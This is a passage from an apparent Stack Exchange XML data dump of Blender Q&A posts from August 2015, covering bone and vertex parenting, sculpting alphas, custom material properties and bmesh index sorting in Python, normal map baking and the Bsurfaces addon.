just rotate your &lt;em&gt;Cube&lt;/em&gt; &lt;strong&gt;&lt;em&gt;90 degress&lt;/em&gt;&lt;/strong&gt; on the X axis (or Y, or Z, depending on your situation).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oLAHc.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oLAHc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now add an object which will be following your strands and rotate it perpendicular to your &lt;em&gt;Cube&lt;/em&gt;. Select it, then the &lt;em&gt;Cube&lt;/em&gt; and enter the &lt;em&gt;Edit Mode&lt;/em&gt;. Select the opposite 3 vertices, as pictured below and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;P&lt;/kbd&gt;&lt;em&gt;--&gt;Make Vertex Parent&lt;/em&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bm4Ks.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bm4Ks.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to &lt;em&gt;Object Mode&lt;/em&gt; and place the following object (&lt;em&gt;Torus&lt;/em&gt; in this case) wherever you want. Select a &lt;em&gt;Cube&lt;/em&gt; and move it to another layer to see only the hair particles.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/QGzH5.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/QGzH5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;You may precisely parent any object to a chosen strand's segment. In &lt;em&gt;Edit Mode&lt;/em&gt; select any vertices, then enable an option as pictured below (marked in red) to see where their location on the instance is. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/jKmbu.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jKmbu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MLq0n.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MLq0n.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add a new object and parent it to selected vertices.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2zQIE.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2zQIE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then place it on a proper segment's location.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/fH2CJ.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fH2CJ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the object copies the location of the strand's segment.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/2bQbn.gif&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2bQbn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-08-29T01:18:07.240" LastActivityDate="2015-08-29T01:18:07.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36602" PostTypeId="1" AcceptedAnswerId="36697" CreationDate="2015-08-28T17:24:26.243" Score="3" ViewCount="720" Body="&lt;p&gt;So all my alphas when I apply them to a model with plenty of multi-res levels just come out looking &quot;blurry&quot;. I've used Zbrush before with these alphas, and they turned out awesome but in blender they aren't working so well. So any help on how to resolve this would be great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've already messed with the strength, but that didn't seem to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Nhdye.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nhdye.png&quot; alt=&quot;The blur.&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16576" LastActivityDate="2015-08-30T02:05:08.647" Title="Alphas are &quot;blurry&quot; when sculpting?" Tags="&lt;transparency&gt;&lt;sculpting&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ClosedDate="2015-08-30T03:01:50.070" ContentLicense="CC BY-SA 3.0" />
  <row Id="36603" PostTypeId="1" AcceptedAnswerId="36604" CreationDate="2015-08-28T17:36:26.173" Score="16" ViewCount="38144" Body="&lt;p&gt;I have hands model which I rigged, now I want the gun to be parented to the left hand, where the problem occurs as left hand is the same object with the right hand, so by parenting the gun to the bone, in the end the gun is parented to both bones, the right hand and the left hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my head I have 2 Options, either:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Find a way to &lt;em&gt;parent&lt;/em&gt; the gun only to the left hand bone&lt;/li&gt;&#xA;&lt;li&gt;Separate the right hand from the left hand as well as the right hand bone from left hand bone, but if so then another question arises how do I separate bones from each other?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are some screenshots to make it easier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0N2sg.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0N2sg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SkbxJ.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SkbxJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/mysnH.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mysnH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15366" LastActivityDate="2019-06-28T21:40:21.787" Title="How do I parent another object only to a specific bone?" Tags="&lt;objects&gt;&lt;armature&gt;&lt;bones&gt;&lt;parent&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36604" PostTypeId="2" ParentId="36603" CreationDate="2015-08-28T17:58:21.197" Score="24" Body="&lt;p&gt;You can parent an object to a specific bone using a 'Child Of' constraint:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FF8Fb.png&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FF8Fb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here, the object I want to parent to an individual bone has a 'Child Of' constraint added, with the armature and bone I want it to follow selected from the 'Target' and 'Bone' search boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pressing the 'Set Inverse' button may be required to return the object to it's original position as after choosing the target object it may jump to that bone's position.&lt;/p&gt;&#xA;" OwnerUserId="241" LastActivityDate="2015-08-28T17:58:21.197" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36605" PostTypeId="1" AcceptedAnswerId="36755" CreationDate="2015-08-28T18:19:33.827" Score="4" ViewCount="1400" Body="&lt;p&gt;Blender can render sub-frames, see: (see: &lt;a href=&quot;https://blender.stackexchange.com/questions/1053/how-do-i-animate-time&quot;&gt;How do I animate time?&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However not all capabilities support this (Fluid-Simulation for example, writes out a discreet mesh per frame, with no subframe interpolation support).&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; Which animation features in Blender currently don't support sub-frames?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;With regard to time-remapping, which is particularly useful for gradual transitions from normal-speed into slow-mo/fast-mo speed).&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: the Sequencer can do time remapping with the speed strip, but this applies to other kinds of subframe operations too - motion blur for eg.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-11-19T07:02:59.607" Title="Which animation features don't support sub-frames?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36606" PostTypeId="1" CreationDate="2015-08-28T19:18:25.040" Score="2" ViewCount="107" Body="&lt;p&gt;I have set a cyclic animation(it repeats itself) and I've done the compositor settings.&#xA;I want to change some compositor settings but after first repeat of animation.&#xA;Second repetition of animation will have for example different color. &#xA;So that I don't have to make another renderlayer and change it with new settings.&#xA;Can I set somehow the renderlayer so that it renders at different time with different compositor settings?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I was clear.&lt;/p&gt;&#xA;" OwnerUserId="15873" LastEditorUserId="15873" LastEditDate="2015-08-28T19:34:58.620" LastActivityDate="2015-08-28T19:34:58.620" Title="Cyclic animation and compositor" Tags="&lt;compositor&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36607" PostTypeId="2" ParentId="16487" CreationDate="2015-08-28T19:22:10.087" Score="18" Body="&lt;p&gt;Enable all these options while you import:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Import User Properties&lt;/li&gt;&#xA;&lt;li&gt;Import Enums As Strings&lt;/li&gt;&#xA;&lt;li&gt;Ignore Leaf Bones&lt;/li&gt;&#xA;&lt;li&gt;Automatic Bone Orientation&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="16759" LastEditorUserId="2607" LastEditDate="2015-08-28T19:29:50.337" LastActivityDate="2015-08-28T19:29:50.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36609" PostTypeId="2" ParentId="36590" CreationDate="2015-08-28T19:33:15.243" Score="1" Body="&lt;p&gt;No, this is not possible, that font-preview text is defined statically in code (only 'customization' allowed is its translation, such that e.g. Chinese or Arabic languages can show some relevant glyphs…).&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-08-28T19:33:15.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36610" PostTypeId="2" ParentId="36587" CreationDate="2015-08-28T19:41:57.313" Score="4" Body="&lt;p&gt;I believe all you need are &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html&quot; rel=&quot;nofollow&quot;&gt;bpy.props properties&lt;/a&gt;. The first example even demonstrates it for &lt;code&gt;bpy.types.Material&lt;/code&gt;. Here's an extended example, that uses some additional options for a &lt;code&gt;FloatProperty&lt;/code&gt; and adds it above the Material list in &lt;em&gt;Material&lt;/em&gt; tab, so you can try it out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;    ob = context.object&#xA;    layout.prop(ob.active_material, &quot;my_material&quot;)&#xA;&#xA;def register():&#xA;    bpy.types.Material.my_material = bpy.props.FloatProperty(&#xA;        name=&quot;My Material Property&quot;,&#xA;        min=0.0,&#xA;        max=10.0,&#xA;        default=5.0,&#xA;        subtype='FACTOR'&#xA;    )&#xA;    bpy.types.MATERIAL_PT_context_material.prepend(draw_func)&#xA;&#xA;def unregister():&#xA;    del bpy.types.Material.my_material&#xA;    bpy.types.MATERIAL_PT_context_material.remove(draw_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can add your custom properties to a full, custom panel too of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to add plenty of properties, use a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html#propertygroup-example&quot; rel=&quot;nofollow&quot;&gt;property group&lt;/a&gt; and a &lt;code&gt;PointerProperty&lt;/code&gt; to organize them better (and avoid name conflicts with existing properties).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need a varying number of a group of properties, use a &lt;code&gt;PropertyGroup&lt;/code&gt; to define the properties per occurrence and supply it to a &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_75_release/bpy.props.html#collection-example&quot; rel=&quot;nofollow&quot;&gt;CollectionProperty&lt;/a&gt; as type.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-28T19:41:57.313" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36611" PostTypeId="1" CreationDate="2015-08-28T20:01:04.517" Score="4" ViewCount="115" Body="&lt;p&gt;I am looking for a way to get the distance to the closest UV map seam in UV-space as a vector in the node editor.  Like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DM67N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blue dot is the current point of reference, i.e. the point where the current ray being evaluated has struck the object, converted to UV-space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally I want this value as a vector, but if that is impossible a scalar distance would work.  Units should be in UV-space (bottom left corner of UV box is &lt;code&gt;(0, 0)&lt;/code&gt;, top right is &lt;code&gt;(1, 1)&lt;/code&gt;).  I am open to python solutions if needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One idea I have come up with is to somehow generate an image using Python which gives the vector per pixel (XYZ to RGB). I could then use this image in the node editor.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-09-01T00:57:21.463" LastActivityDate="2015-09-01T00:57:21.463" Title="Is there a way to get the vector to the closest UV seam?" Tags="&lt;python&gt;&lt;cycles-render-engine&gt;&lt;uv&gt;&lt;nodes&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36613" PostTypeId="2" ParentId="36551" CreationDate="2015-08-28T20:36:32.077" Score="0" Body="&lt;p&gt;The problem was lying in the Shading settings of Blender. By default, the shading is set to Multitexture, which makes the blf text be only black. If you set the shader to GLSL (see picture below), the colors behave exactly as you would expect them according to the python script that is in my example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/fq0q9l4.png&quot; alt=&quot;Blender Shader settings&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10998" LastActivityDate="2015-08-28T20:36:32.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36614" PostTypeId="1" AcceptedAnswerId="36766" CreationDate="2015-08-28T20:48:48.503" Score="3" ViewCount="612" Body="&lt;p&gt;Take for example a flag, the cloth is pinned to a pole. I want to do the same thing in the blender game engine.&lt;/p&gt;&#xA;" OwnerUserId="9818" LastEditorUserId="2217" LastEditDate="2015-08-28T22:16:14.263" LastActivityDate="2015-08-31T07:48:00.067" Title="How to pin a cloth in blender game engine" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36615" PostTypeId="1" CreationDate="2015-08-28T20:57:22.980" Score="0" ViewCount="34" Body="&lt;p&gt;I'm following blender guru's tutorial for spaceship corridor and I found out that during panel moddeling phase I've god these strange borders/artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are not visible from distance but when I zoom into some distance I can see them during rendering or modeling phase.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see on the third image there is more places with dark areas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just joined simple objects like cubes and cylinders.&#xA;I have no idea why is this happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6hu84.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6hu84.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pOWWL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pOWWL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;a href=&quot;https://i.stack.imgur.com/cf3E9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cf3E9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-----&lt;a href=&quot;https://i.stack.imgur.com/TAMjb.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TAMjb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16698" LastEditorUserId="16698" LastEditDate="2015-08-28T22:03:15.923" LastActivityDate="2015-08-28T22:03:15.923" Title="Hot to get rid of strange object borders" Tags="&lt;mesh&gt;&lt;edges&gt;" AnswerCount="0" CommentCount="3" ClosedDate="2015-08-29T18:38:59.560" ContentLicense="CC BY-SA 3.0" />
  <row Id="36616" PostTypeId="1" AcceptedAnswerId="36652" CreationDate="2015-08-28T21:10:22.573" Score="1" ViewCount="2843" Body="&lt;p&gt;I was trying to bake a normal map to give detail to a figure, and recently I got so frustrated I started working on a test file, to see if it was me doing it wrong. Sure enough, it was.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps I took to bake:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a cube.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Subdivide it flat 5 times.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Deselect all vertices and select random vertices with select &gt;&gt;&gt; random and scale it out.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat step 3 3-5 times.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;5 Duplicate the cube and move it over.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;To the second one, add a decimate modifier with unsubdivide mode on level 2. Hit Apply.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Unwrap the decimate cube with smart UV project.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new image on the smart UV project. Keep the default settings and apply.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the first cube and then the second.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under the bake tab in the camera panel in properties, select normals for the mode, and check selected to active. Set the margin to 0 and hit bake.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;My result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ldokV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldokV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9495" LastActivityDate="2015-08-29T10:35:15.823" Title="How to properly bake normal maps?" Tags="&lt;texture-baking&gt;&lt;normals&gt;&lt;baking&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36617" PostTypeId="2" ParentId="1801" CreationDate="2015-08-28T21:14:50.443" Score="0" Body="&lt;p&gt;In &lt;strong&gt;blender 2.75a&lt;/strong&gt;, you must also select your Image Texture node, in the Nodes view, because you must click a &quot;Use Alpha&quot; checkbox that you won't find anywhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll find that checkbox only if the Image Texture node is selected in Nodes view. Reveal the view's built-in Properties pane, if it's not already visible on the right side of the Nodes view, by pressing the N key. (Pressing N repeatedly will show/hide the Properties pane).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On that pane, you'll see a &quot;Use Alpha&quot; box, but only if the Image Texture input node is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, that's also the only place I know of in the entire blender program where you can find a reload button to reload your texture, if it changed on disk.&lt;/p&gt;&#xA;" OwnerUserId="16761" LastActivityDate="2015-08-28T21:14:50.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="36619" PostTypeId="2" ParentId="36577" CreationDate="2015-08-28T21:18:56.817" Score="11" Body="&lt;p&gt;You can also sort mesh elements with Python, using the bmesh module:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;import random&#xA;&#xA;ob = bpy.context.object&#xA;assert ob.type == &quot;MESH&quot;&#xA;me = ob.data&#xA;&#xA;bm = bmesh.from_edit_mesh(me)&#xA;new_order = list(range(len(bm.verts)))&#xA;random.shuffle(new_order)&#xA;&#xA;for i, v in zip(new_order, bm.verts):&#xA;    v.index = i&#xA;&#xA;print(&quot;shuffled indices:&quot;)&#xA;for v in bm.verts:&#xA;    print(v.index)&#xA;&#xA;print(&quot;update index()&quot;)    &#xA;bm.verts.index_update()&#xA;&#xA;print(&quot;indices returned to original order:&quot;)&#xA;for v in bm.verts:&#xA;    print(v.index)&#xA;&#xA;print(&quot;shuffling again, followed by a sort:&quot;)&#xA;for i, v in zip(new_order, bm.verts):&#xA;    v.index = i&#xA;bm.verts.sort()&#xA;&#xA;for v in bm.verts:&#xA;    print(v.index)&#xA;&#xA;bmesh.update_edit_mesh(me)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's important to call &lt;code&gt;sort()&lt;/code&gt; after assigning new indices to actually apply the new order. After that, indices will be ordered 0..n, but if you check the indices drawn in viewport, then you'll see that they changed.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2015-08-28T21:18:56.817" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="36620" PostTypeId="2" ParentId="36583" CreationDate="2015-08-28T21:48:57.990" Score="2" Body="&lt;p&gt;Normally sculpting does &lt;em&gt;not&lt;/em&gt; add any vertices or edges, it just moves them around. But when you enable the &lt;code&gt;dynamic topology&lt;/code&gt; option in the left toolbar &lt;code&gt;T&lt;/code&gt; of your 3d view it adds vertices depending on the given value and your zoom level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You wrote that you want to create a game character? I recommend that you copy your existing object and add more and more details. Then you can bake the normals and save a lot of memory and rendering time.&lt;/p&gt;&#xA;" OwnerUserId="16603" LastActivityDate="2015-08-28T21:48:57.990" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36621" PostTypeId="1" CreationDate="2015-08-28T22:15:37.963" Score="2" ViewCount="2939" Body="&lt;p&gt;I am trying to retopolize my mesh using the grease pencil and the &lt;a href=&quot;https://blender.stackexchange.com/q/16204/2217&quot;&gt;Bsurfaces addon&lt;/a&gt;, but I keep getting this error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the retopology is not setting correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of getting a ring of square, I get two highly subdivided loops instead. How can I make grease pencil retopolgy work correctly on a sculpted icosphere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and I keep getting a message (image below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TEVeH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TEVeH.png&quot; alt=&quot;error message&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I follow this method an new object is created as well called 'SUFSKIO' (image below). How can I fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5o1fq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5o1fq.png&quot; alt=&quot;objects in outliner&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15133" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-08-29T02:34:59.197" Title="Bsurfaces addon not working correctly" Tags="&lt;add-on&gt;&lt;topology&gt;&lt;grease-pencil&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ClosedDate="2015-09-02T05:23:00.113" ContentLicense="CC BY-SA 3.0" />
  <row Id="36623" PostTypeId="2" ParentId="36621" CreationDate="2015-08-28T22:30:06.203" Score="2" Body="&lt;p&gt;Bsurfaces is no longer being maintained, and so has started to have a variety of problems in more recent blender versions. I believe it started breaking somewhere in the 2.6x's. I do not know if your problem specifically is due to this, but it's likely. If it is, then it's not a user error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From looking at bsurfaces's thread on blender artists, it looks like some people in the community have been updating it. Check out this thread: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?225190-Bsurfaces-v1-5/page21&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?225190-Bsurfaces-v1-5/page21&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13324" LastActivityDate="2015-08-28T22:30:06.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="36624" PostTypeId="2" ParentId="15142" CreationDate="2015-08-28T23:23:55.187" Score="5" Body="&lt;p&gt;I found you don't have to use the video editor. If you set the output, it saves the file as it renders, that way you can use a video editor you are already familiar with.&lt;/p&gt;&#xA;" OwnerUserId="16763" LastActivityDate="2015-08-28T23:23:55.187" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="36625" PostTypeId="1" CreationDate="2015-08-28T23:24:41.633" Score="2" ViewCount="115" Body="&lt;p&gt;I did some motion tracking and added a plane track, and the camera changes angles somewhat.  When it changes, the plane track slides off a little bit.  Since I can't fix the trackers very well, is it possible to animate the plane track so when the angle changes it will still be in place?  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First frame:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9Cusd.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Cusd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last frame:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/RiHgx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiHgx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12805" LastEditorUserId="12805" LastEditDate="2015-08-29T20:02:24.480" LastActivityDate="2015-08-29T20:02:24.480" Title="How to animate a plane track" Tags="&lt;masking&gt;" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="36626" PostTypeId="1" AcceptedAnswerId="36638" CreationDate="2015-08-29T00:29:12.927" Score="3" ViewCount="2064" Body="&lt;p&gt;This is a workflow question. What is the fastest way to get the plane on the right starting with the plane on the left? I think in 3ds max you can select the vertex I have selected in the picture and &quot;drag&quot; out the plane, creating a plane inside a plane. Can you do this in blender? I know you can start with a larger plane and inset (I) but there must be a more efficient way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/viVA0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/viVA0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13394" LastActivityDate="2015-08-29T22:15:48.403" Title="Expanding plane size while keeping existing vertices" Tags="&lt;workflow&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
